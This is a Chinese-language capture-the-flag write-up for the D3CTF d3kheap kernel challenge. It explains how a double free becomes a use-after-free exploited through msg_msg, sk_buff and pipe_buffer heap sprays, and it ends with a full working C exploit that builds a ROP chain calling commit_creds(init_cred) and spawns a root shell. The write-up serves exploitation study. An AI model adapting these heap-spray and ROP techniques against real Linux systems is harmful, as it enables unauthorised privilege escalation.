今年 D3CTF 的一道 kernel pwn 题,赛后笔者仔细研究了下,相比起出题人最初提供的使用 setxattr 多次篡改 msg_msg
的方法而言,这道题其实还可以套用 CVE-2021-22555 的堆喷 msg_msg
与 sk_buff
的解法,成功率更高也更加稳定
题目还是按惯例给了一个内核模块,其中只有 ioctl 功能是有用的,简单分析可以知道其中有用的仅为 0x1234
与 0xdead
两个功能,对应着分配 buf 与释放 buf,在分配时会先判断 buf 是否为 NULL 因此我们不能重复分配,完成分配后 ref_count
会加一,而在释放时 ref_count
会减一
漏洞其实就出现在这里,其判断 buf 是否被释放依靠的是 reff_count
而并非 buf 指针,且在释放后未将 buf 置 NULL,而 ref_count 被错误地初始化为 1,这使得我们可以释放 buf 两次
因为在 slub_free 中有着对 double free 的简单检查(类似于 glibc 中的 fastbin,会检查 freelist 指向的第一个 object),因此我们不能够直接进行 double free,而应该将其转化为 UAF 进行利用
我们首先需要构造一个 UAF,我们不难想到如下利用链:
此时 victim 虽然还处在使用阶段,但是在 slub 中其同时也被视为一个 free object,我们此时便完成了 UAF 的构造,由于 slub 遵循 LIFO,因此接下来分配的第一个大小为 1024 的 object 便会是 victim
msg_msg
,建立主从消息队列既然我们现在有了一个UAF的机会,那么选用什么样的结构体作为 victim 呢?这里我们选择使用 msg_msg
这一结构体:
/* one msg_msg structure for each message */ struct msg_msg { struct list_head m_list; long m_type; size_t m_ts; /* message text size */ struct msg_msgseg *next; void *security; /* the actual message follows immediately */ };
当我们在一个消息队列上发送多个消息时,会形成如下结构:
我们不难想到的是,我们可以在一开始时先通过 d3kheap 设备提供的功能先获取一个 object 后释放,之后堆喷多个消息队列,并分别在每一个消息队列上发送两条消息,形成如下内存布局,这里为了便利后续利用,第一条消息(主消息)的大小为 96,第二条消息(辅助消息)的大小为 0x400:
此时我们的辅助消息便有极大的概率获取到之前释放的 object
利用
MSG_COPY
标志位可以读取消息队列上的消息而不释放,参见这里
sk_buff
定位 victim 队列此时我们直接利用题目的功能将辅助消息释放掉,便能成功完成 UAF 的构建,此时我们仍能通过其中一个消息队列访问到该辅助消息对应 object,但实际上这个 object 已经在 freelist 上了
但此时我们无法得知是哪一个消息队列命中了 UAF object,这个时候我们选用 sk_buff
堆喷劫持该结构体
类似于 msg_msg
,其同样可以提供近乎任意大小对象的分配写入与释放,但不同的是 msg_msg
由一个 header 加上用户数据组成,而 sk_buff
本身不包含任何用户数据,用户数据单独存放在一个 object 当中,而 sk_buff 中存放指向用户数据的指针
至于这个结构体的分配与释放也是十分简单,sk_buff 在内核网络协议栈中代表一个「包」,我们不难想到的是我们只需要创建一对 socket,在上面发送与接收数据包就能完成 sk_buff 的分配与释放,最简单的办法便是用 socketpair 系统调用创建一对 socket,之后对其 read & write 便能完成收发包的工作
那么我们利用 sk_buff
堆喷向这个 UAF object 中写入什么数据呢?其实这里我们可以随便写入一些内容,之后我们使用 MSG_COPY
flag 进行消息拷贝时便会失败,但不会 kernel panic,因此我们可以通过判断是否读取消息失败来定位命中 UAF 的消息队列
sk_buff
伪造辅助消息,泄露 UAF obj 地址接下来我们考虑如何继续利用这个 UAF,由于其位于消息队列上,所以我们可以利用消息队列的性质来完成利用
首先我们考虑如何通过伪造 msg_msg
结构体完成信息泄露,我们不难想到的是可以伪造一个 msg_msg
结构体,将其 m_ts
域设为一个较大值,从而越界读取到相邻辅助消息的 header,泄露出堆上地址
我们泄露出来的是哪个地址?让我们重新将目光放回到消息队列的结构上:
我们不难知道的是,该辅助消息的 prev 指针指向其主消息,而该辅助消息的 next 指针指向该消息队列的 msg_queue
结构,这是目前我们已知的两个“堆上地址”
接下来我们伪造 msg_msg->next
,将其指向我们的 UAF object 相邻的辅助消息对应的主消息头部往前,从而读出该主消息的头部,泄露出对应的辅助消息的地址,有了这个辅助消息的地址,再减去 0x400 便是我们的 UAF 对象的地址
通过伪造 msg_msg->next 可以完成任意地址读,参见这里
pipe_buffer
,泄露内核基址现在我们已知了可控区域的地址,接下来让我们来考虑泄露内核 .text 段的基址,以及如何劫持 RIP 完成提权
之前我们为什么将辅助消息的大小设为 0x400?除了方便对齐以外,还有一层考虑就是这个大小刚好有一个十分实用的结构体 pipe_buffer
数组,既能帮我们泄露内核代码段基址,也能帮我们劫持 RIP
当我们创建一个管道时,在内核中会生成数个连续的 pipe_buffer
结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object
/** * struct pipe_buffer - a linux kernel pipe buffer * @page: the page containing the data for the pipe buffer * @offset: offset of data inside the @page * @len: length of data inside the @page * @ops: operations associated with this buffer. See @pipe_buf_operations. * @flags: pipe buffer flags. See above. * @private: private data owned by the ops. **/ struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };
在 pipe_buffer
中存在一个函数表成员 pipe_buf_operations
,其指向内核中的函数表 anon_pipe_buf_ops
,若我们能够将其读出,便能泄露出内核基址,操作如下:
sk_buff
修复辅助消息,之后从消息队列中接收该辅助消息,此时该 object 重回 slub 中,但 sk_buff
仍指向该 objectpipe_buffer
,之后再接收 sk_buff
数据包,我们便能读出 pipe_buffer 上数据,泄露内核基址当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release
这一指针,而 UAF object 的地址对我们而言是已知的,因此我们可以直接利用 sk_buff 在 UAF object 上伪造函数表与构造 ROP chain,再选一条足够合适的 gadget 完成栈迁移便能劫持 RIP 完成提权
最终的 exp 如下:
#define _GNU_SOURCE #include <err.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/syscall.h> #define PRIMARY_MSG_SIZE 96 #define SECONDARY_MSG_SIZE 0x400 #define PRIMARY_MSG_TYPE 0x41 #define SECONDARY_MSG_TYPE 0x42 #define VICTIM_MSG_TYPE 0x1337 #define MSG_TAG 0xAAAAAAAA #define SOCKET_NUM 16 #define SK_BUFF_NUM 128 #define PIPE_NUM 256 #define MSG_QUEUE_NUM 4096 #define OBJ_ADD 0x1234 #define OBJ_EDIT 0x4321 #define OBJ_SHOW 0xbeef #define OBJ_DEL 0xdead #define PREPARE_KERNEL_CRED 0xffffffff810d2ac0 #define INIT_CRED 0xffffffff82c6d580 #define COMMIT_CREDS 0xffffffff810d25c0 #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0 #define POP_RDI_RET 0xffffffff810938f0 #define ANON_PIPE_BUF_OPS 0xffffffff8203fe40 #define FREE_PIPE_INFO 0xffffffff81327570 #define POP_R14_POP_RBP_RET 0xffffffff81003364 #define PUSH_RSI_POP_RSP_POP_4VAL_RET 0xffffffff812dbede #define CALL_RSI_PTR 0xffffffff8105acec size_t user_cs, user_ss, user_sp, user_rflags; size_t kernel_offset, kernel_base = 0xffffffff81000000; size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred; long dev_fd; int pipe_fd[2], pipe_fd2[2], pipe_fd_1; /* * skb_shared_info need to take 320 bytes at the tail * so the max size of buf we should send is: * 1024 - 320 = 704 */ char fake_secondary_msg[704]; void add(void) { ioctl(dev_fd, OBJ_ADD); } void del(void) { ioctl(dev_fd, OBJ_DEL); } size_t user_cs, user_ss, user_sp, user_rflags; void saveStatus() { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n"); } struct list_head { uint64_t next; uint64_t prev; }; struct msg_msg { struct list_head m_list; uint64_t m_type; uint64_t m_ts; uint64_t next; uint64_t security; }; struct msg_msgseg { uint64_t next; }; struct { long mtype; char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)]; }primary_msg; struct { long mtype; char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)]; }secondary_msg; struct { long mtype; char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)]; } oob_msg; struct pipe_buffer { uint64_t page; uint32_t offset, len; uint64_t ops; uint32_t flags; uint32_t padding; uint64_t private; }; struct pipe_buf_operations { uint64_t confirm; uint64_t release; uint64_t try_steal; uint64_t get; }; void errExit(char *msg) { printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg); exit(EXIT_FAILURE); } int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0); } int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp) { *(long*)msgp = msgtyp; return msgsnd(msqid, msgp, msgsz - sizeof(long), 0); } int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT); } void buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security) { msg->m_list.next = m_list_next; msg->m_list.prev = m_list_prev; msg->m_type = m_type; msg->m_ts = m_ts; msg->next = next; msg->security = security; } int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) { for (int i = 0; i < SOCKET_NUM; i++) for (int j = 0; j < SK_BUFF_NUM; j++) { // printf("[-] now %d, num %d\n", i, j); if (write(sk_socket[i][0], buf, size) < 0) return -1; } return 0; } int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) { for (int i = 0; i < SOCKET_NUM; i++) for (int j = 0; j < SK_BUFF_NUM; j++) if (read(sk_socket[i][1], buf, size) < 0) return -1; return 0; } void getRootShell(void) { if (getuid()) errExit("failed to gain the root!"); printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n"); system("/bin/sh"); } int main(int argc, char **argv, char **envp) { int oob_pipe_fd[2]; int sk_sockets[SOCKET_NUM][2]; int pipe_fd[PIPE_NUM][2]; int msqid[MSG_QUEUE_NUM]; int victim_qid, real_qid; struct msg_msg *nearby_msg; struct msg_msg *nearby_msg_prim; struct pipe_buffer *pipe_buf_ptr; struct pipe_buf_operations *ops_ptr; uint64_t victim_addr; uint64_t kernel_base; uint64_t kernel_offset; uint64_t *rop_chain; int rop_idx; cpu_set_t cpu_set; saveStatus(); /* * Step.O * Initialization */ // run the exp on specific core only CPU_ZERO(&cpu_set); CPU_SET(0, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); // socket pairs to spray sk_buff for (int i = 0; i < SOCKET_NUM; i++) if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0) errExit("failed to create socket pair!"); dev_fd = open("/dev/d3kheap", O_RDONLY); /* * Step.I * build msg_queue, spray primary and secondary msg_msg, * and use OOB write to construct the overlapping */ puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m"); puts("[*] Build message queue..."); // build 4096 message queue for (int i = 0; i < MSG_QUEUE_NUM; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0) errExit("failed to create msg_queue!"); } puts("[*] Spray primary and secondary msg_msg..."); memset(&primary_msg, 0, sizeof(primary_msg)); memset(&secondary_msg, 0, sizeof(secondary_msg)); // get a free object add(); // spray primary and secondary message for (int i = 0; i < MSG_QUEUE_NUM; i++) { *(int *)&primary_msg.mtext[0] = MSG_TAG; *(int *)&primary_msg.mtext[4] = i; if (writeMsg(msqid[i], &primary_msg, sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0) errExit("failed to send primary msg!"); *(int *)&secondary_msg.mtext[0] = MSG_TAG; *(int *)&secondary_msg.mtext[4] = i; if (writeMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0) errExit("failed to send secondary msg!"); if (i == 1024) del(); } /* * Step.II * construct UAF */ puts("\n\033[34m\033[1m[*] Step.II construct UAF\033[0m"); // free the victim secondary msg_msg, then we get a UAF puts("[*] Trigger UAF..."); del(); // spray sk_buff to mark the UAF msg_msg puts("[*] spray sk_buff..."); buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", SECONDARY_MSG_SIZE, 0, 0); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!"); // find out the UAF queue victim_qid = -1; for (int i = 0; i < MSG_QUEUE_NUM; i++) { /* * the msg_msg got changed, so we can't read out * but it tells us which one the victim is */ if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0) { printf("[+] victim qid: %d\n", i); victim_qid = i; } } if (victim_qid == -1) errExit("failed to make the UAF in msg queue!"); if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!"); puts("\033[32m\033[1m[+] UAF construction complete!\033[0m"); /* * Step.III * spray sk_buff to leak msg_msg addr * construct fake msg_msg to leak addr of UAF obj */ puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m"); // spray sk_buff to construct fake msg_msg puts("[*] spray sk_buff..."); buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!"); // use fake msg_msg to read OOB puts("[*] OOB read from victim msg_msg"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!"); if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG) errExit("failed to rehit the UAF object!"); nearby_msg = (struct msg_msg*) &oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)]; printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n", nearby_msg->m_list.prev); // release and re-spray sk_buff to construct fake msg_msg // so that we can make an arbitrary read on a primary msg_msg if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!"); buildMsg((struct msg_msg *)fake_secondary_msg, *(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3", VICTIM_MSG_TYPE, sizeof(oob_msg.mtext), nearby_msg->m_list.prev - 8, 0); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!"); puts("[*] arbitrary read on primary msg of msg nearby victim"); if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0) errExit("failed to read victim msg!"); if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG) errExit("failed to rehit the UAF object!"); // cal the addr of UAF obj by the header we just read out nearby_msg_prim = (struct msg_msg*) &oob_msg.mtext[0x1000 - sizeof(struct msg_msg)]; victim_addr = nearby_msg_prim->m_list.next - 0x400; printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n", nearby_msg_prim->m_list.next); printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr); /* * Step.IV * fix the header of UAF obj and release it * spray pipe_buffer and leak the kernel base */ puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m"); // re-construct the msg_msg to fix it puts("[*] fixing the UAF obj as a msg_msg..."); if (freeSkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!"); memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg)); buildMsg((struct msg_msg *)fake_secondary_msg, victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg), 0, 0); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!"); // release UAF obj as secondary msg puts("[*] release UAF obj in message queue..."); if (readMsg(msqid[victim_qid], &secondary_msg, sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0) errExit("failed to receive secondary msg!"); // spray pipe_buffer puts("[*] spray pipe_buffer..."); for (int i = 0; i < PIPE_NUM; i++) { if (pipe(pipe_fd[i]) < 0) errExit("failed to create pipe!"); // write something to activate it if (write(pipe_fd[i][1], "arttnba3", 8) < 0) errExit("failed to write the pipe!"); } // release the sk_buff to read pipe_buffer, leak kernel base puts("[*] release sk_buff to read pipe_buffer..."); pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg; for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (read(sk_sockets[i][1], &fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to release sk_buff!"); if (pipe_buf_ptr->ops > 0xffffffff81000000) { printf("\033[32m\033[1m[+] got anon_pipe_buf_ops: \033[0m%llx\n", pipe_buf_ptr->ops); kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS; kernel_base = 0xffffffff81000000 + kernel_offset; } } } printf("\033[32m\033[1m[+] kernel base: \033[0m%llx \033[32m\033[1moffset: \033[0m%llx\n", kernel_base, kernel_offset); /* * Step.V * hijack the ops of pipe_buffer * free all pipe to trigger fake ptr * so that we hijack the RIP * construct a ROP on pipe_buffer */ puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m"); puts("[*] pre-construct data in userspace..."); pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg; pipe_buf_ptr->page = *(uint64_t*) "arttnba3"; pipe_buf_ptr->ops = victim_addr + 0x100; ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100]; ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset; rop_idx = 0; rop_chain = (uint64_t*) &fake_secondary_msg[0x20]; rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET; rop_chain[rop_idx++] = kernel_offset + INIT_CRED; rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS; rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22; rop_chain[rop_idx++] = *(uint64_t*) "arttnba3"; rop_chain[rop_idx++] = *(uint64_t*) "arttnba3"; rop_chain[rop_idx++] = getRootShell; rop_chain[rop_idx++] = user_cs; rop_chain[rop_idx++] = user_rflags; rop_chain[rop_idx++] = user_sp; rop_chain[rop_idx++] = user_ss; puts("[*] spray sk_buff to hijack pipe_buffer..."); if (spraySkBuff(sk_sockets, fake_secondary_msg, sizeof(fake_secondary_msg)) < 0) errExit("failed to spray sk_buff!"); // for gdb attach only printf("[*] gadget: %p\n", kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET); printf("[*] free_pipe_info: %p\n", kernel_offset + FREE_PIPE_INFO); sleep(5); puts("[*] trigger fake ops->release to hijack RIP..."); for (int i = 0; i < PIPE_NUM; i++) { close(pipe_fd[i][0]); close(pipe_fd[i][1]); } }
运行即可完成提权,相较于官方最初给出的解法而言成功率会高很多,据悉解出来的队伍中大部分也是利用这种解法完成解题